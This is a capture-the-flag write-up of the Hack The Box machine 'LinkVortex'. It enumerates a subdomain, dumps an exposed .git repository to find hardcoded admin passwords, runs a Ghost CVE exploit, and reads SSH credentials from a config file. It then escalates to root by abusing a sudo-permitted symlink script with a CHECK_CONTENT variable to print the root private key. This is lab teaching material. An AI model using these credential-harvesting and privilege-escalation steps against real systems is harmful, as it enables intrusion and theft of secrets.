LinkVortex

  • Platform: Hack The Box
  • Label: Easy
  • OS: GNU/Linux

LinkVortex Info Card

User

Initial info gathering

  • FFUZ
 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Output file      : ffuz-linkvortex.{json,ejson,html,md,csv,ecsv}
 :: File format      : all
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299
________________________________________________

[Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 35ms]
| RES | eca56b3d9e1bb7751f68a632e33acc43
    * FUZZ: dev
  • found dev subdomain, add to /etc/hosts
  • FeroxBuster on the main domain and subdomain later
feroxbuster -u http://dev.linkvortex.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 
  • We find a .git !!! http://dev.linkvortex.htb/.git
  • Lets enumerate it.
git-dumper http://dev.linkvortex.htb/.git git
  • lets scan for secrets
gitleaks git .

    ○
    │╲
    │ ○
    ○ ░v
    ░    gitleaks

6:46PM INF 20 commits scanned.
6:46PM INF scan completed in 2.59s
6:46PM WRN leaks found: 36
  • hmm no secrets...
  • ok so a good old manual grep finds the honey!
 grep -r 'const password' *
git/ghost/security/lib/tokens.js:        const password = options.password;
git/ghost/security/lib/tokens.js:        const password = options.password;
git/ghost/core/core/cli/README.md:const password = await this.secret('Password:');
git/ghost/core/test/unit/server/data/importer/importers/data/settings.test.js:            const passwordSetting = find(importer.dataToImport, {key: 'password'});
git/ghost/core/test/unit/server/data/importer/importers/data/settings.test.js:            const passwordSetting = find(importer.dataToImport, {key: 'is_private'});
git/ghost/core/test/regression/api/admin/authentication.test.js:            const password = 'OctopiFociPilfer45';
git/ghost/core/test/regression/api/admin/authentication.test.js:            const password = 'thisissupersafe';
git/ghost/core/test/e2e-browser/admin/private-site.spec.js:            //const passwordInput = await page.locator('[data-test-password-input]');
  • notice 2 passwords
    • OctopiFociPilfer45
    • thisissupersafe
  • since this is inside the admin folder we can suggest this is for the admin user.
  • From our information gathering and enumeration we found /ghost path on main site before http://linkvortex.htb/ghost
  • lets try to login with those password to http://linkvortex.htb/ghost/#/signin
    • yap! works use the email one does not have to be to brite to put together admin@linkvortex.htb :) and password OctopiFociPilfer45
  • Enumerate more in there!
  • We use duckduckgo to search for CVE now that we know the name ghost for the web application.
  • After reading the script it will need modifications.
  • run it!
 exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
  • After some searching and looking around we find this: /var/lib/ghost/config.production.json
file>  /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
  • yay! we got bob@linkvortex.htb and his user password fibber-talented-worth
  • let's ssh
ssh bob@linkvortex.htb 
The authenticity of host 'linkvortex.htb (10.x.x.x)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'linkvortex.htb' (ED25519) to the list of known hosts.
bob@linkvortex.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec  3 11:41:50 2024 from 10.10.x.x
bob@linkvortex:~$ whoami
bob
  • is a easy box so not going to go nut's and drink a whiskie safe this for a hard/insane box he he he
  • Get user.txt

Root

Enumeration etc

  • Like always specially on easy box let's firt check sudo
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
  • oh wow, not surprised is an easy label box...
  • I can already guess what kind of misconfiguration this will be :)
ln -s cookie.png /tmp/cookie.png 
ln -s /root/.ssh/id_rsa /supercookie.png
export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/cookie.png
  • YAY! we get the root ssh private key
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/cookie.png   
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/cookie.png ] , moving it to quarantine
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu
6sKpMThUctYpWnzAc4yBN/mavhY7v5+TEV0FzPYZJ2spoeB3OGBcVNzSL41ctOiqGVZ7yX
TQ6pQUZxR4zqueIZ7yHVsw5j0eeqlF8OvHT81wbS5ozJBgtjxySWrRkkKA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rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Dec  2 11:20:43 2024 from 10.10.xx.xx

Happy Hacking !!!

ReK2 https://rek2.hispagatos.org